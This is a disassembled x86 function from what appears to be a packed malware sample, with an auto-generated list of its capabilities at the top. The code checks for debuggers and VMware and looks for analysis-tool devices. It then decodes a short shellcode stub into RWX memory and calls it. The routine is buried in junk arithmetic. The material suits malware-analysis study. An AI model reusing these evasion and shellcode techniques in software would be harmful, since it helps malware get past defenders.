Function at 0x401390
Capabilities:
Allocate or change rwx memory
Check for peb beingdebugged flag
Check os version
Execute shellcode via indirect call
Get hostname
Packed with generic packer
Reference the vmware io port

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x426298
push 0x424850
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x170
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
mov eax, dword [0x42b788]
inc eax
mov word [0x42b760], ax
push 0x7545ffff
movsx ecx, byte [0x42b74c]
push ecx
call fcn.0040e380
mov byte [0x42b74e], al
push 0x7ba1ffff
push 0xca09ffff
call fcn.0040e3c0
mov dword [0x42b774], eax
push 0x97a3ffff
push 0x112bffff
call fcn.0040e2f0
add esp, 0x18
mov word [0x42b75c], ax
mov eax, dword [0x42b710]
xor ebx, ebx
cmp eax, ebx
jne 0x401ef8
push 0xf57fffff
push 0xb023ffff
call fcn.0040e2c0
add esp, 8
mov dword [0x42b780], eax
mov dword [ebp - 4], ebx
movsx edx, byte [0x42b749]
push edx
push 0xa2a3ffff
call fcn.0040e2c0
add esp, 8
mov dword [0x42b778], eax
mov al, byte [0x42b714]
mov byte [ebp - 0x12c], al
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [ebp - 0x12b]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov esi, 0x104
mov dword [ebp - 0x28], esi
movsx ecx, word [0x42b75e]
sub ecx, 0x3fa7ffff
mov dword [0x42b788], ecx
lea edx, [ebp - 0x28]
push edx
lea eax, [ebp - 0x12c]
push eax
call dword [0x42bca0]
xor eax, eax
cmp byte [0x42b74a], bl
setne al
mov byte [0x42b74a], al
push 0x838bffff
movsx ecx, al
push ecx
call fcn.0040e450
mov dword [0x42b76c], eax
push 0x7967ffff
push 0x8b59ffff
call fcn.0040e340
add esp, 0x10
mov byte [0x42b74a], al
lea ecx, [ebp - 0x12c]
call fcn.00401f90
neg al
sbb eax, eax
and eax, 5
mov dword [ebp - 0x1c], eax
jne 0x40163d
push 0x97dfffff
push 0x2cd9ffff
call fcn.0040e380
mov dword [0x42b778], eax
push 0x822dffff
movsx edx, word [0x42b762]
push edx
call fcn.0040e450
mov word [0x42b752], ax
mov dword [0x42b76c], 1
mov eax, dword [0x42b774]
add eax, 0xbdf7ffff
mov dword [0x42b77c], eax
mov dword [ebp - 0x28], esi
push 0x2febffff
push 0xccf9ffff
call fcn.0040e340
mov dword [0x42b770], eax
push 0xbf03ffff
mov ecx, dword [0x42b788]
push ecx
call fcn.0040e2f0
mov byte [0x42b74c], al
push 0xad5fffff
mov edx, dword [0x42b768]
push edx
call fcn.0040e3c0
add esp, 0x28
mov byte [0x42b74f], al
lea eax, [ebp - 0x28]
push eax
lea ecx, [ebp - 0x12c]
push ecx
call dword [sym.imp.KERNEL32.DLL_GetComputerNameA]
movsx edx, byte [0x42b74e]
push edx
movsx eax, byte [0x42b749]
push eax
call fcn.0040e4a0
mov dword [0x42b768], eax
mov eax, dword [0x42b76c]
push eax
push eax
call fcn.0040e2f0
mov dword [0x42b76c], eax
movsx ecx, word [0x42b754]
push ecx
push 0xaafffff
call fcn.0040e3c0
add esp, 0x18
mov byte [0x42b74f], al
lea ecx, [ebp - 0x12c]
call fcn.00401f90
neg al
sbb eax, eax
and eax, 6
mov dword [ebp - 0x1c], eax
push 0xde69ffff
push 0x7331ffff
call fcn.0040e290
mov dword [0x42b784], eax
mov edx, dword [0x42b77c]
push edx
movsx eax, byte [0x42b74d]
push eax
call fcn.0040e2f0
mov byte [0x42b74f], al
movsx ecx, byte [0x42b74a]
push ecx
push 0xcc11ffff
call fcn.0040e3c0
mov byte [0x42b74e], al
movsx edx, word [0x42b752]
push edx
push 0xda87ffff
call fcn.0040e380
add esp, 0x20
mov byte [0x42b748], al
push 0xc8e3ffff
push 0x134fffff
call fcn.0040e450
mov byte [0x42b74a], al
mov dword [0x42b780], 0xa1ffff
push 0x4d59ffff
mov eax, dword [0x42b788]
push eax
call fcn.0040e450
add esp, 0x10
mov word [0x42b754], ax
movsx ecx, byte [0x42b74f]
movsx eax, byte [0x42b750]
and eax, ecx
mov dword [0x42b768], eax
cmp dword [ebp - 0x1c], ebx
jne 0x401ee4
mov dl, byte [0x42b748]
or edx, 0xe7a9ffff
mov byte [0x42b74d], dl
mov dword [ebp - 0x1c], 7
imul ecx, eax
mov byte [0x42b74d], cl
movsx eax, byte [0x42b74a]
push eax
push 0xe1ebffff
call fcn.0040e340
mov byte [0x42b749], al
movsx ecx, word [0x42b756]
push ecx
push 0xdb37ffff
call fcn.0040e4a0
mov word [0x42b760], ax
mov edx, dword [0x42b788]
push edx
push 0x5affffff
call fcn.0040e450
mov word [0x42b758], ax
mov dword [ebp - 0x180], ebx
push 0xa5d3ffff
push 0xc897ffff
call fcn.0040e2c0
mov dword [0x42b774], eax
mov eax, dword [0x42b76c]
push eax
push 0x21cbffff
call fcn.0040e290
add esp, 0x28
mov byte [0x42b74f], al
mov dword [ebp - 4], 1
mov byte [0x42b74e], bl
push 0x74fdffff
mov ecx, dword [0x42b774]
push ecx
call fcn.0040e400
mov dword [0x42b778], eax
push 0x8613ffff
mov edx, dword [0x42b770]
push edx
call fcn.0040e290
add esp, 0x10
mov word [0x42b754], ax
call dword [sym.imp.KERNEL32.DLL_GetVersion]
test eax, 0x80000000
je 0x4017cb
mov byte [0x42b749], 0xff
mov eax, dword fs:[0x20]
mov dword [ebp - 0x180], eax
movsx eax, word [0x42b756]
push eax
mov ecx, dword [0x42b77c]
push ecx
call fcn.0040e4a0
mov word [0x42b75a], ax
mov byte [0x42b748], 0xfe
mov edx, dword [0x42b780]
push edx
push 0x63f1ffff
call fcn.0040e450
add esp, 0x10
mov byte [0x42b74a], al
mov dword [ebp - 4], ebx
jmp 0x40185f
mov dword [0x42b784], 0x3befffff
mov ax, word [0x42b760]
mov ecx, dword [0x42b77c]
sub ecx, eax
mov word [0x42b754], cx
push 0x99e7ffff
push 0xbb41ffff
call fcn.0040e380
mov word [0x42b75e], ax
mov eax, dword fs:[0x30]
mov al, byte [eax + 2]
movzx eax, al
mov dword [ebp - 0x180], eax
xor eax, eax
cmp dword [0x42b768], ebx
setne al
mov byte [0x42b74b], al
push 0x4a5dffff
movsx edx, word [0x42b75a]
push edx
call fcn.0040e400
add esp, 0x10
mov byte [0x42b748], al
mov dword [ebp - 4], ebx
jmp 0x40185f
mov cl, byte [0x42b74f]
add ecx, dword [0x42b77c]
mov byte [0x42b750], cl
push 0x95d5ffff
push 0x5bebffff
call fcn.0040e380
mov word [0x42b756], ax
mov edx, dword [0x42b788]
push edx
push 0x5bc5ffff
call fcn.0040e290
mov byte [0x42b74a], al
movsx eax, word [0x42b75e]
push eax
push 0xfee3ffff
call fcn.0040e290
add esp, 0x18
mov dword [0x42b76c], eax
mov eax, dword [ebp - 0x180]
test eax, eax
jne 0x401ee4
mov dword [ebp - 0x1c], 0xa
movsx ecx, byte [0x42b74f]
and ecx, 0x8b65ffff
mov dword [0x42b780], ecx
movsx ecx, byte [0x42b74d]
lea eax, [ecx + ecx*8]
shl eax, 4
sub eax, ecx
neg eax
lea eax, [eax + eax*2]
lea eax, [eax + eax*4]
lea edx, [eax + eax*4]
shl edx, 0x11
sub edx, ecx
mov dword [0x42b76c], edx
push 0x4f71ffff
push 0x4c3fffff
call fcn.0040e340
add esp, 8
mov dword [0x42b77c], eax
mov ebx, 1
mov byte [0x42b74e], bl
movsx eax, byte [0x42b74c]
and eax, 0x5159ffff
mov dword [0x42b774], eax
push 0
push 0x80
push 3
push 0
push 3
push SysReAllocString
lea edx, [ebp - 0x170]
mov ecx, 0x426244
call fcn.00401360
push eax
call dword [0x42bd00]
mov dword [ebp - 0x17c], eax
cmp eax, 0xffffffff
jne 0x401e8f
push 0
push 0x80
push 3
push 0
push 3
push SysReAllocString
lea edx, [ebp - 0x170]
mov ecx, 0x426250
call fcn.00401360
push eax
call dword [0x42bd00]
mov dword [ebp - 0x17c], eax
cmp eax, 0xffffffff
jne 0x401e8f
push 0
push 0x80
push 3
push 0
push 3
push SysReAllocString
lea edx, [ebp - 0x170]
mov ecx, 0x42625c
call fcn.00401360
push eax
call dword [0x42bd00]
mov dword [ebp - 0x17c], eax
cmp eax, 0xffffffff
jne 0x401e8f
push 0x698fffff
push 0xb2f5ffff
call fcn.0040e3c0
mov dword [0x42b784], eax
mov dword [0x42b788], 0x3bee0001
mov dword [ebp - 0x1c], 8
push 0xa15bffff
push 0x4057ffff
call fcn.0040e290
add esp, 0x10
mov dword [0x42b774], eax
mov word [0x42b75e], 0xffff
lea edx, [ebp - 0x170]
mov ecx, 0x42626c
call fcn.00401360
push eax
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
mov esi, eax
mov dword [ebp - 0x178], esi
mov ecx, dword [0x42b770]
add ecx, 0xb3c00001
mov dword [0x42b774], ecx
mov dx, word [0x42b75a]
mov ax, word [0x42b760]
add edx, eax
mov word [0x42b75c], dx
movsx ecx, word [0x42b752]
push ecx
movsx edx, word [0x42b762]
push edx
call fcn.0040e2c0
add esp, 8
mov byte [0x42b74d], al
mov byte [0x42b74f], 0
lea edx, [ebp - 0x170]
mov ecx, str.F_IFLDMLmPKMXAGFnADMZ_
call fcn.00401360
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
xor ecx, ecx
mov cl, byte [eax]
cmp ecx, 0xffffffcc
jne 0x401ac7
movsx edx, byte [0x42b74f]
imul edx, edx, 0xa4afffff
mov dword [0x42b784], edx
jmp 0x401ee4
mov eax, dword [0x42b778]
push eax
movsx ecx, byte [0x42b74f]
push ecx
call fcn.0040e400
add esp, 8
mov byte [0x42b74a], al
mov dl, byte [0x42b748]
mov eax, 0x71fffff
sub eax, edx
mov byte [0x42b74e], al
mov dword [ebp - 0x1c], ebx
mov dword [0x42b788], 0xdfffffff
mov dword [ebp - 4], 2
mov ecx, dword [0x42b784]
sub ecx, dword [0x42b768]
mov byte [0x42b74c], cl
movsx edx, word [0x42b760]
sub edx, 0x400001
mov dword [0x42b788], edx
xor ebx, ebx
mov ecx, 0xa
mov eax, 0x564d5868
mov dx, 0x5658
in eax, dx
cmp ebx, 0x564d5868
sete al
movzx eax, al
mov dword [ebp - 0x180], eax
movsx eax, word [0x42b754]
or eax, 0x533ffff
mov dword [0x42b770], eax
mov cx, word [0x42b752]
add ecx, 0x668c0001
mov byte [0x42b74c], cl
jmp 0x401b9d
mov dword [ebp - 4], 0
mov eax, dword [ebp - 0x180]
test eax, eax
jne 0x401ee4
mov ecx, dword [0x42b780]
sub ecx, dword [0x42b788]
mov word [0x42b758], cx
movsx edx, byte [0x42b749]
add edx, 0x40b60001
mov word [0x42b762], dx
mov dword [ebp - 0x1c], 2
mov al, byte [0x42b750]
test al, al
je 0x401bfa
cmp word [0x42b754], 0
je 0x401bfa
mov eax, 1
jmp 0x401bfc
xor eax, eax
mov dword [0x42b780], eax
push pe_nt_image_headers32
push 0x1000
push 0x1000
push 0
call dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov esi, eax
mov dword [ebp - 0x130], esi
push 0xdcd3ffff
push 0x7721ffff
call fcn.0040e380
add esp, 8
mov dword [0x42b778], eax
movsx eax, word [0x42b754]
and eax, 0xc9bbffff
mov dword [0x42b770], eax
mov byte [ebp - 0x24], 0x27
mov byte [ebp - 0x23], 0x17
mov ecx, 0x28
mov byte [ebp - 0x22], cl
mov byte [ebp - 0x21], cl
mov byte [ebp - 0x20], 0xeb
xor eax, eax
mov dword [ebp - 0x174], eax
cmp eax, 5
jge 0x401c75
mov dl, byte [ebp + eax - 0x24]
xor edx, ecx
mov byte [eax + esi], dl
inc eax
jmp 0x401c5e
push 0xe38dffff
push 0x269ffff
call fcn.0040e2c0
mov dword [0x42b77c], eax
push 0x9c03ffff
mov eax, dword [0x42b788]
push eax
call fcn.0040e340
add esp, 0x10
mov dword [0x42b770], eax
mov dword [0x42b788], 0xb3b80001
mov dword [ebp - 4], 3
mov cl, byte [0x42b760]
mov byte [0x42b74f], cl
movsx edx, word [0x42b75e]
push edx
push 0xe5c7ffff
call fcn.0040e340
add esp, 8
mov word [0x42b754], ax
pushal
mov eax, dword [ebp - 0x130]
call eax
popal
inc dword [ebp - 0x180]
push 0x5e2dffff
mov eax, dword [0x42b784]
push eax
call fcn.0040e450
mov dword [0x42b768], eax
push 0xa2a5ffff
push 0x32f1ffff
call fcn.0040e4a0
mov byte [0x42b74a], al
push 0xcf59ffff
mov ecx, dword [0x42b780]
push ecx
call fcn.0040e450
add esp, 0x18
mov word [0x42b75a], ax
mov eax, dword [0x42b770]
test eax, eax
je 0x401d4b
mov eax, dword [0x42b778]
test eax, eax
je 0x401d4b
mov eax, 1
mov word [0x42b752], ax
jmp 0x401d9f
xor eax, eax
mov word [0x42b752], ax
jmp 0x401d9f
mov dword [ebp - 4], 0
mov cx, word [0x42b754]
movsx edx, byte [0x42b74a]
and ecx, edx
mov word [0x42b752], cx
mov eax, dword [0x42b774]
imul eax, eax, 0xc191ffff
mov word [0x42b760], ax
push 0xe309ffff
push 0xaed3ffff
call fcn.0040e290
add esp, 8
mov byte [0x42b749], al
xor eax, eax
mov ecx, dword [0x42b778]
test ecx, ecx
setne al
mov word [0x42b758], ax
push 0x8000
push 0
mov ecx, dword [ebp - 0x130]
push ecx
call dword [sym.imp.KERNEL32.DLL_VirtualFree]
mov dword [0x42b788], 0xfff7ffff
push 0x78dbffff
push 0xe707ffff
call fcn.0040e290
add esp, 8
mov dword [0x42b774], eax
mov eax, dword [ebp - 0x180]
test eax, eax
jne 0x401ee4
mov dword [ebp - 0x1c], 3
call fcn.004012b0
test al, al
jne 0x401ee4
mov dl, byte [0x42b74e]
mov byte [0x42b74e], dl
push 0xad63ffff
movsx eax, word [0x42b75e]
push eax
call fcn.0040e4a0
mov dword [0x42b770], eax
push 0x4efdffff
mov ecx, dword [0x42b788]
push ecx
call fcn.0040e2c0
add esp, 0x10
mov word [0x42b75c], ax
int3
movsx edx, word [0x42b762]
sub edx, dword [0x42b784]
mov dword [0x42b788], edx
push eax
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
jmp 0x401ee4
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x1c]
mov dword [0x42b710], edx
xor ebx, ebx
jmp 0x401efb
mov dword [ebp - 0x1c], eax
movsx ecx, byte [0x42b74f]
mov eax, dword [0x42b76c]
sub eax, ecx
mov dword [0x42b778], eax
cmp dword [ebp - 0x1c], ebx
jne 0x401f22
call section..text
neg al
sbb eax, eax
and eax, 4
mov dword [ebp - 0x1c], eax
push 0xf83fffff
movsx edx, word [0x42b752]
push edx
call fcn.0040e340
mov byte [0x42b74e], al
movsx eax, byte [0x42b749]
push eax
push 0xc3e1ffff
call fcn.0040e400
mov word [0x42b75e], ax
push 0xe795ffff
movsx ecx, byte [0x42b74d]
push ecx
call fcn.0040e2c0
add esp, 0x18
mov byte [0x42b748], al
mov byte [0x42b74a], 1
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret